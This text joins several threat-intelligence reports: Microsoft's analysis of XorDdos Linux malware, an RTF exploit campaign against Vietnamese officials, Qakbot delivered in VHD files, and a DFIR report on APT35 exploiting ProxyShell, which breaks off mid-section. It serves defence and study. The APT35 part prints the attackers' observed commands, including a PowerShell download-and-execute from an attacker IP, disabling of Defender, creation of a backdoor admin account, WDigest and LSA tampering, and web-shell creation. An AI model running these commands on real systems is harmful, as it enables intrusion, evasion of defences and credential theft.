- If the `readlink` call fails, that likely indicates that the file on disk doesn’t exist. In this case, it:
- Intends to delete all service-related entries for the `$pid` but fails. This appears to be due to a code flaw that allows a zeroed-out buffer to be passed as a service name when the buffer is supposed to be filled from a successful `readlink` API call.
- Creates directories similar to the standard code path scenario.
- Calls the `stat` API for the file `/lib/libudev.so`. If the `stat` API returns a non-zero value, then it attempts to copy the content of the current process’s image-file fetched earlier to the following locations with a random name:
- `/usr/bin/`
- `/bin/`
- `/tmp/`
- Copies the `/lib/libudev.so` file to the same three directories listed above if the `stat` API call is successful on `/lib/libudev.so`.
- Changes the hash of the written or copied file and then runs it without passing any parameters.
- If the `readlink` call is successful and returns the count of bytes copied, sleeps for one second and then loops for the remaining time out of five seconds.
- Unhides the current process and the `$pid` that was provided as part of the third argument.
- Deletes the on-disk file for the current process.
#### 4: Known Locations Code Path Without Any Provided Arguments
This code path is similar to the standard code path, with the main difference being that the malware runs from one of the following locations:
- `/usr/bin/`
- `/bin/`
- `/tmp/`
Once it runs from one of these locations, the malware calls the following functions to perform various tasks:
1. `InstallSYS` – The name suggests that this function is a wrapper that should deploy a rootkit driver, but it only zeroes-out two local arrays.
2. `AddService` – Creates the persistent auto-start entries previously mentioned so that the malware runs when the system starts.
3. `HidePidPort` – Hides the malware’s ports and processes.
4. `CheckLKM` – Checks whether the rootkit device is active or not. It uses a similar IOCTL call with the number “0x9748712” and command “0” to find if the rootkit is active. If the rootkit is active, it uses the owner value “0xAD1473B8” and group value “0xAD1473B8” to change the ownership of dropped files with the function `lchown(<filename>, 0xAD1473B8, 0xAD1473B8)`.
5. `decrypt_remotestr` – Decodes remote URLs using the same XOR key, “BB2FA36AAA9541F0”, to decode `config.rar` and the other directories. After decoding the URLs, it adds them into a remote list, which is later used to communicate and fetch commands from the command and control (C2) server:
- `www[.]enoan2107[.]com:3306`
- `www[.]gzcfr5axf6[.]com:3306`
### Malicious Activity Threads
After creating persistent entries, deleting evidence of its activities, and decoding `config.rar`, the malware initializes a cyclic redundancy check (CRC) table followed by an unnamed semaphore using the `sem_init` API. This semaphore is initialized with an `apshared` value set to “0”, making the resultant semaphore shared between all the threads. The semaphore is used to maintain concurrency between threads accessing a shared object, such as `kill_cfg` data.
The malware then initializes three threads to perform malicious activities, such as stopping a process, creating a TCP connection, and retrieving `kill_cfg` data.
#### kill_process
The `kill_process` thread performs the following tasks:
- Decodes encrypted strings
- Fetches file stats for `/var/run/gcc.pid` or, if none exist, then creates the file
- Fetches file stats for `/lib/libudev.so` or, if none exist, then creates the directory `/lib` and creates a copy of itself at the location `/lib/libudev.so`
- Fetches the on-disk file information associated with the current process; if it fails, then exits the loop and stops the current process
- Reads the content from `kill_cfg` and performs the corresponding actions, like stopping the process or deleting files, based on the matching specified keys in the configuration file, such as:
- `md5=`
- `filename=`
- `rmfile=`
- `denyip=`
#### tcp_thread
The `tcp_thread` triggers the connection with the C2 server decoded earlier using `decrypt_remotestr()`. It performs the following tasks:
- Reads the content of the file `/var/run/gcc.pid` to get a unique 32-byte magic string that identifies the device while connecting with the C2 server; if the file doesn’t exist, then it creates the file and updates it with a random 32-byte string.
- Calculates the CRC header, including details of the device such as the magic string, OS release version, malware version, rootkit presence, memory stats, CPU information, and LAN speed.
- Encrypts the data and sends it to the C2 server.
- Waits to receive any of the following commands from the C2 server and then acts on the command using the `exec_packet` subroutine.
| Command | Job |
|---------|--------------------------------------------------|
| 2 | Stop |
| 3 | Create a thread pool for launching DDoS attacks |
| 6 | Download file |
| 7 | Update file |
| 8 | Send system information to the C2 server |
| 9 | Get configuration file to stop processes |
#### daemon_get_killed_process
The `daemon_get_killed_process` thread downloads the `kill_cfg` data from the remote URL decoded earlier (`hxxp://aa[.]hostasa[.]org/config[.]rar`) and decrypts it using the same XOR key previously mentioned. It then sleeps for 30 minutes.
### DDoS Attack Thread Pool
The malware calls `sysconf(_SC_NPROCESSORS_CONF)` to fetch the number of processors in the device. It then creates threads with twice the number of processors found on the device. Invoking each thread internally calls the thread routine `threadwork`. Using the global variable “g_stop” and commands received from the C2 server, `threadwork` then sends crafted packets 65,535 times to perform a DDoS attack.
| Command | Function | Job |
|---------|----------------|------------------------------|
| 0x4 | `fix_syn` | SYN flood attack |
| 0x5 | `fix_dns` | DNS attack |
| 0xA | `fix_ack` | ACK flood attack |
## Defending Against Linux Platform Threats
XorDdos’ modular nature provides attackers with a versatile trojan capable of infecting a variety of Linux system architectures. Its SSH brute force attacks are a relatively simple yet effective technique for gaining root access over a number of potential targets. Adept at stealing sensitive data, installing a rootkit device, using various evasion and persistence mechanisms, and performing DDoS attacks, XorDdos enables adversaries to create potentially significant disruptions on target systems. Moreover, XorDdos may be used to bring in other dangerous threats or to provide a vector for follow-on activities.
XorDdos and other threats targeting Linux devices emphasize how crucial it is to have security solutions with comprehensive capabilities and complete visibility spanning numerous distributions of Linux operating systems. Microsoft Defender for Endpoint offers such visibility and protection to catch these emerging threats with its next-generation antimalware and endpoint detection and response (EDR) capabilities. Leveraging threat intelligence from integrated threat data, including client and cloud heuristics, machine learning models, memory scanning, and behavioral monitoring, Microsoft Defender for Endpoint can detect and remediate XorDdos and its multi-stage, modular attacks. This includes detecting and protecting against its use of a malicious shell script for initial access, its drop-and-execution of binaries from a world-writable location, and any potential follow-on activities on endpoints.
Defenders can apply the following mitigations to reduce the impact of this threat:
- Encourage the use of Microsoft Edge—available on Linux and various platforms—or other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
- Use device discovery to find unmanaged Linux devices on your network and onboard them to Microsoft Defender for Endpoint.
- Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to use cloud-based machine learning protections that can block a huge majority of new and unknown variants.
- Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode.
- Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
- Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
As threats across all platforms continue to grow in number and sophistication, security solutions must be capable of providing advanced protection on a wide range of devices, regardless of the operating system in use. Organizations will continue to face threats from a variety of entry points across devices, so Microsoft continues to heavily invest in protecting all the major platforms and providing extensive capabilities that organizations need to protect their networks and systems.
## Detection Details
Microsoft Defender for Endpoint detects and blocks XorDdos components and behavior as the following malware:
- DoS:Linux/Xorddos.A
- DoS:Linux/Xorddos!rfn
- Trojan:Linux/Xorddos
- Trojan:Linux/Xorddos.AA
- Trojan:Linux/Xorddos!rfn
- Behavior:Linux/Xorddos.A
When XorDdos is detected on a device, Microsoft 365 Defender raises an alert, which shows the complete attack chain, including the process tree, file information, user information, and prevention details.
The timeline view displays all of the detection and prevention events associated with XorDdos, providing details such as the MITRE ATT&CK techniques and tactics, remediation status, and event entities graph.
Events with the following titles indicate threat activity related to XorDdos:
- The content of `libudev.so` was collected into `libudev.so.6`
- `bash` process performed System Information Discovery by invoking `ifconfig`
- `gcc.sh` was executed after being dropped by `HFLgGwYfSC.elf`
- A shell command was executed by `crond`
- SUID/SGID process `unix_chkpwd` executed
## Hunting Queries
To locate malicious activity related to XorDdos activity, run the following advanced hunting queries in Microsoft 365 Defender or Microsoft Defender Security Center:
### Failed Sign-ins
```plaintext
DeviceLogonEvents
| where InitiatingProcessFileName == "sshd"
and ActionType == "LogonFailed"
| summarize count() by dayOfYear = datetime_part("dayOfYear", Timestamp)
| sort by dayOfYear
| render linechart
```
### Creation of the XorDdos-specific Dropped Files
```plaintext
DeviceFileEvents
| extend FullPath=strcat(FolderPath, FileName)
| where FullPath in ("/etc/cron.hourly/gcc.sh", "/lib/libudev.so.6", "/lib/libudev.so", "/var/run/gcc.pid")
```
### Command-line of Malicious Process
```plaintext
DeviceProcessEvents
| where ProcessCommandLine contains "cat resolv.conf"
```
## Indicators
### File Information
- **File Name:** HFLgGwYfSC.elf
- **File Size:** 611.22 KB (625889 bytes)
- **Classification:** DoS:Linux/Xorddos.A
- **MD5:** 2DC6225A9D104A950FB33A74DA262B93
- **Sha1:** F05194FB2B3978611B99CFBF5E5F1DD44CD5E04B
- **Sha256:** F2DF54EB827F3C733D481EBB167A5BC77C5AE39A6BDA7F340BB23B24DC9A4432
- **File Type:** ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
- **First Submission:** 2022-01-25 05:32:10 UTC
### Dropped Files
| Dropped File Path | File Type | SHA-256 |
|------------------------------|----------------|-------------------------------------------------------------------------|
| `/etc/init.d/HFLgGwYfSC.elf` | Shell Script | 6E506F32C6FB7B5D342D1382989AB191C6F21C2D311251D8F623814F468952CF |
| `/etc/cron.hourly/gcc.sh` | Shell Script | CBB72E542E8F19240130FC9381C2351730D437D42926C6E68E056907C8456459 |
| `/lib/libudev.so` | ELF | F2DF54EB827F3C733D481EBB167A5BC77C5AE39A6BDA7F340BB23B24DC9A4432 |
| `/run/gcc.pid` | Text | 932FEEF3AB6FCCB3502F900619B1F87E1CB44A7ADAB48F2C927ECDD67FF6830A |
| `/usr/bin/djtctpzfdq` | ELF | 53F062A93CF19AEAA2F8481B32118A31B658A126624ABB8A7D82237884F0A394 |
| `/usr/bin/dmpyuitfoq` | ELF | 798577202477C0C233D4AF51C4D8FB2F574DDB3C9D1D90325D359A84CB1BD51C |
| `/usr/bin/fdinprytpq` | ELF | 2B4500987D50A24BA5C118F506F2507362D6B5C63C80B1984B4AE86641779FF3 |
| `/usr/bin/jwvwvxoupv` | ELF | 359C41DA1CBAE573D2C99F7DA9EEB03DF135F018F6C660B4E44FBD2B4DDECD39 |
| `/usr/bin/kagbjahdic` | ELF | E6C7EEE304DFC29B19012EF6D31848C0B5BB07362691E4E9633C8581F1C2D65B |
| `/usr/bin/kkldnszwvq` | ELF | EF0A4C12D98DC0AD4DB86AADD641389C7219F57F15642ED35B4443DAF3FF8C1E |
| `/usr/bin/kndmhuqmah` | ELF | B5FBA27A8E457C1AB6573C378171F057D151DC615D6A8D339195716FA9AC277A |
| `/usr/bin/qkxqoelrfa` | ELF | D71EA3B98286D39A711B626F687F0D3FC852C3E3A05DE3F51450FB8F7BD2B0D7 |
| `/usr/bin/sykhrxsazz` | ELF | 9D6F115F31EE71089CC85B18852974E349C68FAD3276145DAFD0076951F32489 |
| `/usr/bin/tcnszvmpqn` | ELF | 360A6258DD66A3BA595A93896D9B55D22406D02E5C02100E5A18382C54E7D5CD |
| `/usr/bin/zalkpggsgh` | ELF | DC2B1CEE161EBE90BE68561755D99E66F454AD80B27CEBE3D4773518AC45CBB7 |
| `/usr/bin/zvcarxfquk` | ELF | 175667933088FBEBCB62C8450993422CCC876495299173C646779A9E67501FF4 |
| `/tmp/bin/3200` | ELF(rootkit) | C8F761D3EF7CD16EBE41042A0DAF901C2FDFFCE96C8E9E1FA0D422C6E31332EA |
### Download URLs
- `www[.]enoan2107[.]com:3306`
- `www[.]gzcfr5axf6[.]com:3306`
- `hxxp://aa[.]hostasa[.]org/config.rar`
*Ratnesh Pandey, Yevgeny Kulakov, and Jonathan Bar Or, Microsoft 365 Defender Research Team* |
# Malicious Document Targets Vietnamese Officials
After our investigation of APT SideWinder, we’ve created a YARA rule for hunting RTF documents exploiting the CVE-2017–11882. We found a document written in Vietnamese dealing with a summary about different projects in the district Hải Châu of Đà Nẵng.
In this article, we’ll detail the infection chains, the infrastructures of the attackers, and the TTPs of this campaign. The infrastructures and TTPs during this campaign seem to belong to the Chinese hacking group 1937CN.
## Infection Chains
Joe Sandbox has a good representation of the behavior of the infection. This RTF document is really malicious and exploits the equation vulnerability to write two files in the system:
1. A DLL named RasTls.dll
2. An executable file named dascgosrky.exe
This document is interesting to analyze, so let’s go!
## RTF Analysis
With rtfobj, we found three OLE objects in the document: two non-well-formed OLE objects and a third named package OLE object. The package OLE object is used to write a file to disk when the document is opened at the destination described by the OLE object. That’s why there is a path and a name in the OLE object.
This technique is used to execute code like SCT files to download an executable on the operating system. Many attackers use it in the wild because it’s very easy to use and is supported by office software with RTF files. In our case, a file named 8.t is dropped in the %TMP% folder. If we check it, it’s clearly encrypted.
The other OLE objects seem to exploit CVE-2017–11882. At the end of the OLE object, we have different API functions to make a runPE. Another interesting thing is this string at the beginning of the object: 7e079a2524fa63a55fbcfe. We have the same string used by APT SideWinder in the equation object OLE. It’s the same toolset used to create the malicious document.
Now, we have to debug the malicious document to find how the file 8.t is used and find this runPE.
## Debugging of the Shellcode
At the start of the analysis, we thought the process EQNEDT32.exe is created by Winword.exe using the function CreateProcess. However, EQNEDT32.exe is invoked by Winword.exe using a COM Object. It’s not CreateProcess that is used, and Winword.exe is not the parent process of EQNEDT32.exe. So we have to attach the debugger when EQNEDT32.exe is launched.
For that, we used a technique named Image File Execution Options that was documented by Microsoft. We created a key for EQNEDT32.exe in the registry and set a value string for launching the debugger when EQNEDT32.exe is executed.
When we open the RTF document, Winword is launched, and EQNEDT32.exe also. The debugger is attached at the entry point of EQNEDT32.exe. We check if 8.t is correctly created in the %TMP% folder.
Now we set a breakpoint at CreateFile to check if the shellcode of the exploit reads the file 8.t. CreateFile is called at call eqnedt32.41E5EE. The parameter of the path of the file is pushed on the stack.
So now, we can return to the user code at the calling function. After a step into, we enter the shellcode, and the address space has changed. After CreateFile, GetFileSize is called to get the size of the file. After that is VirtualAlloc, which creates a memory page at 1FD0000 (EAX value).
ReadFile is called, and 8.t is loaded at 1FD0000. The shellcode decrypts the 8.t file in memory at 0066C82A. The loop of decryption is a XOR operation with different manipulations on the decryption key. At the start of the decryption, the key is set to 7BF48E63.
If we check the destination of the result of the XOR operation, we find 01FD0000 where 8.t is loaded. After two steps of the loop, we can see the magic number MZ set at the beginning of the memory section. At the end of the decryption loop, we have a PE in memory at 01FD0000; the file 8.t has been decrypted.
Then, the shellcode uses VirtualAlloc and creates a memory page at 02070000. The new PE at 01FD0000 is copied to this address. After GetModuleFileNameA is called to get the path of EQNEDT32.exe, EQNEDT32.exe is forked in a suspended state by a CreateProcess, and the shellcode overwrites it with the PE at the address 02070000. The shellcode then does a ResumeThread to launch the new PE.
## Analyzing the Fork of EQNEDT32.exe
We know that this process has to create two files on disk following the Joe Sandbox analysis:
- A DLL named RasTls.dll
- An executable file named dascgosrky.exe
If we dump EQNEDT32.exe and analyze it in IDA, we quickly find the function that drops the files on disk (sub_00401150), renamed dropFiles. At the start of this function, we have a loop with a XOR operation. Just after, we have a call to the decompression function.
The function dropFiles is called twice by the sub_4012D0. If we check the call graph, DropFiles is called only by the function sub_4012D0. We set a breakpoint on CreateFile because at each execution, EQNEDT32.exe starts by CreateFile on staticcache.dat.
We return to the user code to set a new breakpoint to check the static analysis. We set a breakpoint at 0040159A when DropFiles is called. Now we can analyze the second loop of decryption. The first step is the initialization of the decryption function. After that, we find the XOR operation and store the result in esi+eax.
In the first step of the decryption loop, the result is written to 411BC0 in the address space of EQNEDT32.exe. After three loops, we obtain the header of the zlib compressed object. At the memory page 021E0000, a PE is decompressed. After the file is created with the following path: L”C:\\Users\\IEUser\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\RasTls.dll”.
DropFiles is called twice to decrypt and decompress the executable file. The offset where the file is stored is 00434EF8, and the PE decompressed is stored at 025D0020. The path of the new file is: L”C:\\Users\\IEUser\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\dascgosrky.exe”.
So we have two files in the network shortcuts of Windows.
## DLL Hijacking
Dascgosrky.exe is a legitimate and trusted software developed by Symantec. To load the library RasTls.dll, the executable calls LoadLibrary and GetProcAddress in sub_401940 to execute the malicious functions.
## Infrastructure of Attackers
The domain contacted is wouderfulu.impresstravel.ga, which resolves to 192.99.181.14. This IP has different domains found with PassiveTotal, and these domains are recorded in the IP 176.223.165.122. Many domain names are used for Vietnamese people.
There are two domains that are particularly interesting: Halong.dulichculao.com, which has already been used in campaigns targeting Vietnamese organizations, and Cat.toonganuh.com, a subdomain of tooganuh.com.
## Conclusion
The Chinese hacking group 1937CN continues to target Vietnamese officials with the same TTPs, refreshing the tools used. The toolset used by this group to create RTF malicious documents has the same properties as those of SideWinder.
In the second part, we will analyze the RAT used in this campaign.
## IOCs for the Paper
**Domains:**
- dn.dulichbiendao.org
- gateway.vietbaotinmoi.com
- web.thoitietvietnam.org
- hn.dulichbiendao.org
- halong.dulichculao.com
- cat.toonganuh.com
- new.sggpnews.com
- dulichculao.com
- coco.sodexoa.com
- thoitiet.malware-sinkhole.net
- wouderfulu.impresstravel.ga
- toonganuh.com
**IPs:**
- 192.99.181.14
- 176.223.165.122
**RTFs:**
- 42162c495e835cdf28670661a53d47d12255d9c791c1c5653673b25fb587ffed
**8.t:**
- 2c60d4312e4416745e56048ee35e694a79e1bc77e7e4d0b5811e64c84a72d2d7
**PE:**
- f9ebf6aeb3f0fb0c29bd8f3d652476cd1fe8bd9a0c11cb15c43de33bbce0bf68 (exe)
- 9f5da7524817736cd85d87dae93fdbe478385baac1c0aa3102b6ad50d7e5e368 (dll)
**Update:**
The payload is PlugX.
**Update IOCs:**
- 597c0c6f397eefb06155abdf5aa9a7476c977c44ef8bd9575b01359e96273486 59.rtf
- 11f38b6a69978dad95c9b1479db9a8729ca57329855998bd41befc364657d654 RasTls.dll
- f9ebf6aeb3f0fb0c29bd8f3d652476cd1fe8bd9a0c11cb15c43de33bbce0bf68 RasTls.exe
- b70069e1c8e829bfd7090ba3dfbf0e256fc7dfcefc6acafb3b53abcf2caa2253 b7.rtf
- 77361b1ca09d6857d68cea052a0bb857e03d776d3e1943897315a80a19f20fc2 spoolsver.exe
- 9fba998ab2c1b7fec39da9817b27768ba7892c0613c4be7c525989161981d2e2 vsodscpl.dll
- 9d239ddd4c925d14e00b5a95827e9191bfda7d59858f141f6f5dcc52329838f0 9d.rtf
- 087d8bee1db61273a7cd533d52b63265d3a8a8b897526d7849c48bcdba4b22ec RasTls.dll
- f9ebf6aeb3f0fb0c29bd8f3d652476cd1fe8bd9a0c11cb15c43de33bbce0bf68 RasTls.exe
- 332aa26d719a20f3a26b2b00a9ca5d2e090b33f5070b057f4950d4f088201ab9 rtf
- 93aa353320a8e27923880401a4a0f3760374b4d17dcd709d351e612d589b969d vsodscpl.dll
- 77361b1ca09d6857d68cea052a0bb857e03d776d3e1943897315a80a19f20fc2 ScnCfg.exe |
# Qakbot Being Distributed via Virtual Disk Files (*.vhd)
December 22, 2022
There’s been a recent increase in the distribution of malware using disk image files. Out of these, the Qakbot malware has been distributed in ISO and IMG file formats, and the ASEC analysis team discovered that it has recently changed its distribution to the use of VHD files. Such use of disk image files (IMG, ISO, VHD) is seen to be Qakbot’s method of bypassing Mark of the Web (MOTW). Disk image files can bypass the MOTW feature because when the files inside them are extracted or mounted, MOTW is not inherited to the files.
The phishing email that distributes Qakbot has an HTML file attachment which generates a compressed file. When the attached HTML file is executed, a page that imitates Google Drive is loaded. At this stage, a compressed file contained in the HTML script is automatically created by the script. The compressed file is password-protected, and the password can be found on the HTML page.
The compressed file contains a VHD file, which is the virtual disk file. VHD files can be automatically mounted on Windows 8 and onwards, and files are created internally as shown below.
The properties of the created LNK file execute the reserved.cmd file created alongside it. The reserved.cmd command executes the resting.cmd file, parses a certain string, and transmits it as an argument.
The resting.cmd command combines the string received as an argument and loads the hogs.tmp file through rundll32. The hogs.tmp file is a DLL file and is the Qakbot malware. Qakbot is a banking malware that executes the normal process wermgr.exe before injecting malicious data. The injected process attempts to establish a connection to the C2, and when the attempt is successful, it performs additional malicious behaviors such as downloading malicious modules and extorting financial information. The process tree from the execution of LNK to the execution of Qakbot is as follows:
C2: 2.14.82[.]210:2222
Recently, there has been a surge in malware using disk image files and various methods of distribution to bypass security features. Users should refrain from opening emails from unknown sources and should not execute their attachments.
AhnLab’s anti-malware product, V3, detects and blocks the malware using the following aliases:
**[File Detection]**
- Trojan/Win.BankerX-gen.R538785 (2022.12.08.01)
- Dropper/BIN.Generic (2022.12.14.00)
- Dropper/HTML.Qakbot (2022.12.14.00)
- Trojan/CMD.Runner (2022.12.14.00)
**[IOC]**
- ab4c2e5302c44ddc16f5fe4162640bd0
- 5bd4a0f37a6420a00e1ceb378446f8b8
- 1c1deaa10c6beea64661e8afba6ce276
- 63524b4118710e4d6d522b0165d71b71
- 5cbd45a04efdec84a576398e8ed702e6
Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.
**Categories:** Malware Information
**Tagged as:** Qakbot, VHD |
# APT35 Automates Initial Access Using ProxyShell
In December 2021, we observed an adversary exploiting the Microsoft Exchange ProxyShell vulnerabilities to gain initial access and execute code via multiple web shells. The overlap of activities and tasks was remarkably similar to that observed in our previous report, “Exchange Exploit Leads to Domain Wide Ransomware”.
In this intrusion, we observed the initial exploitation of the ProxyShell vulnerabilities followed by some further post-exploitation activity, which included web shells, credential dumping, and specialized payloads. We assess that this activity was related to APT35 (TA453, COBALT ILLUSION, Charming Kitten, ITG18, Phosphorus, Newscaster) due to the TTP’s mirroring previously reported activity that was attributed to the group.
## Case Summary
The threat actors' activity occurred in two bursts within a 3-day time frame. As with our previous case, they started by uploading their web shell and disabling antivirus services. Soon after, they established two persistence methods. The first was through scheduled tasks, and the second was via a newly created account. The account was then added to the “remote desktop users” and “local administrators users” groups. Like in the prior case involving ProxyShell, we observed a file masquerading as `dllhost.exe` that exhibited similarities to a proxy tool called Fast Reverse Proxy (with modifications) downloaded from the same IP as observed in the prior case and connecting to suspect domains.
After establishing alternative ways of re-entering the targeted host, they enumerated the environment using Windows native programs such as `net` and `ipconfig`. At the end of their first visit, they disabled LSA protection, enabled WDigest for access to plain text credentials later, dumped the LSASS process memory, and downloaded the results via the web shell. All of this activity occurred over a time frame of around 2 minutes, leading us to assess that the entire attack was likely scripted out. The user agent strings of `python-requests/2.26.0` and `python-urllib3/1.26.7` also point to the use of scripts.
Two days later, we saw the threat actors reappear. We expected them to pick up where they left off; however, they repeated all previous actions. Due to the similarity between the commands and the sequential order they ran, this is additional evidence the threat actors employed automated scripts to execute these activities. No further activity was observed as the threat actors were evicted from the network.
## Initial Access
As similarly seen in our previous report, this threat actor utilized the Microsoft Exchange ProxyShell vulnerabilities; an exploit chain of 3 different CVEs:
- CVE-2021-34473
- CVE-2021-34523
- CVE-2021-31207
With the appropriate PowerShell logging available, we were able to recover the PowerShell commandlets executed on the Exchange server, which resulted in the creation of web shells on the host.
Once the threat actor had gained a valid privileged session using CVE-2021-34473 and CVE-2021-34523, they then ensured the default Administrator account had the correct role for mailbox importing and exporting:
```powershell
New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "[email protected]"
```
The threat actor initiated a mailbox export that matched the search criteria of `Subject -eq 'aspx_wkggiyvttmu'` to a provided location with the `.aspx` extension. While the file created is a legitimate `.pst` file, it contains plaintext web shell code that is rendered by IIS when requested.
```powershell
New-MailboxExportRequest -Mailbox "[email protected]" -FilePath "\\localhost\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_wkggiyvttmu.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_wkggiyvttmu'"
```
In an attempt to hide the actions taken, the actor removes the request just created:
```powershell
Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "77a883a7-470c-471c-a193-f4c54f263fde"
```
This activity then repeated approximately 2 days after the initial exploitation. As the actor had already achieved remote execution by this point, there is a high likelihood the exploitation of Exchange servers is automated. Below is the second web shell created that shares the same naming convention as the first.
```powershell
New-MailboxExportRequest -Mailbox "[email protected]" -FilePath "\\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_dyukbdcxjfi.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_dyukbdcxjfi'"
```
## Execution
Approximately 20 seconds after the web shell `aspx_wkggiyvttmu.aspx` was created, a flurry of POST requests were sent to the web shell. The web shell followed a similar structure seen in previous cases. At least two parameters are sent in the POST request to the web shell, `delimiter` which defines what string is used to separate the response, and `exec_code` which is the command to be run. The web shell had predefined functions for special actions:
- `get` – Get file from location on disk (additional `dst` POST parameter)
- `put` – Upload file to location (additional `dst` POST parameter)
- `run` – Execute a list of commands separated by “;” using PowerShell.
If `exec_code` does not start with one of the above commands, it will simply attempt to run it with PowerShell.
The environment for this investigation had SSL inspection and PCAPs available for analysis which allowed us to see the commands being sent to the web shell itself. Below you can see an example of commands that were sent and the outputs they returned in the response. The actor first uploaded a file `Wininet.xml`, which is later used to create a scheduled task, to `C:\windows\temp` using the `put` command of the web shell. This was followed shortly by several commands to impair Windows Defender before downloading and executing a fake `dllhost.exe` from `148.251.71[.]182`.
### Scheduled Task Commands:
```powershell
schtasks.exe /Create /F /XML C:\windows\temp\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'
schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'
```
### Defender Modification Command:
```powershell
try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference -SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1 -AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}
Start-Process powershell.exe {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'hXXp://148.251.71[.]182/update[.]tmp' -OutFile $file}
```
The scheduled task runs a batch script called `Wininet.bat` which was also uploaded through the web shell. `Wininet.bat` simply loops through the execution of the file `dllhost.exe`. The file `dllhost.exe` is a golang binary. When executed, the binary was observed resolving the following domains:
- `api.myip[.]com` (for discovery)
- `tcp443.msupdate[.]us`
- `kcp53.msupdate[.]us`
The binary also spawns the following commands when executed:
```powershell
cmd /c wmic computersystem get domain
powershell /c Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders
```
The binary has a low confidence reference to FRP (FastReverseProxy) as the sample matches the closed source Yara rule – `HKTL_PUA_FRP_FastReverseProxy_Oct21_1` (by Florian Roth) however it does not behave in the same way as the open source tool. This file also matches on an additional Yara rule more recently – `APT_MAL_Go_FRP_CharmingKitten_Jan22_1` pointing to the file including some code from FRP but otherwise having been modified for use by this threat actor.
## Persistence
The threat actor utilized both account creation and scheduled tasks to gain persistence in the environment.
### New Account Creation
During the first activity, we observed the use of `user.exe` executable that ran the following PowerShell command:
```powershell
powershell.exe /c net user /add DefaultAccount [email protected]; net user DefaultAccount /active:yes; net user DefaultAccount [email protected]; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount
```
The first thing they did was make a new user named `DefaultAccount` with the password `[email protected]`. They then activated the account and changed the password (`[email protected]`) for the second time. Finally, the commands added the new account to the Administrators group and Remote Desktop Users group. The threat actors ran the same command again two days later:
```powershell
powershell.exe /c net user /add DefaultAccount [email protected]; net user DefaultAccount /active:yes; net user DefaultAccount [email protected]; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount
```
Due to the close proximity between executed commands, we assess that the threat actors used tools to automate the execution and discovery phases of this attack.
### Scheduled Task
As previously noted, we discovered the creation of a Scheduled task from a .xml template that was copied to the server via the web shell. Below, we can observe the content of `wininet.xml`:
```xml
<task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<registrationInfo>
<author>DefaultAccount</author>
<description>Wininet Task</description>
</registrationInfo>
<triggers>
<timeTrigger>
<startBoundary>2022-03-21T12:00:00</startBoundary>
<enabled>true</enabled>
</timeTrigger>
</triggers>
<actions>
<exec>
<command>powershell.exe</command>
<arguments>-ExecutionPolicy Bypass -File C:\windows\temp\Wininet.bat</arguments>
</exec>
</actions>
</task>
```
The following commands were then run to initiate the task and to achieve persistence:
```powershell
schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'
schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'
```
## Privilege Escalation
The scheduled task created by the web shell was set to use the principal SID “S-1-5-18”, or SYSTEM.
```xml
<UserId>S-1-5-18</UserId>
```
## Defense Evasion
Using PowerShell, the threat actors issued several commands to impair Windows Defender including:
- Windows Defender Behavior Monitoring was disabled.
- The Severe Threat default action was set to ‘Allow’.
- Realtime Monitoring was disabled.
- The ‘C:\Windows’ path was excluded from scheduled and real-time scanning.
```powershell
try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference -SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1 -AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}
```
A rule was added to the Windows Firewall to allow remote RDP traffic.
```powershell
"netsh" advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389
```
Remote Desktop Services was started.
```powershell
"net" start TermService
```
The threat actor enabled WDigest authentication. This enforces the storage of credentials in plaintext on future logins.
```powershell
"reg" add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
```
LSA protection was disabled.
```powershell
"reg" add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
```
## Credential Access
The threat actor created a process memory dump from LSASS.exe. In this case, they created a “minidump” using the LOLBIN `comsvcs.dll`. This was dropped to disk as `ssasl.pmd` (lsass.dmp reversed) and then zipped before exfiltration.
```powershell
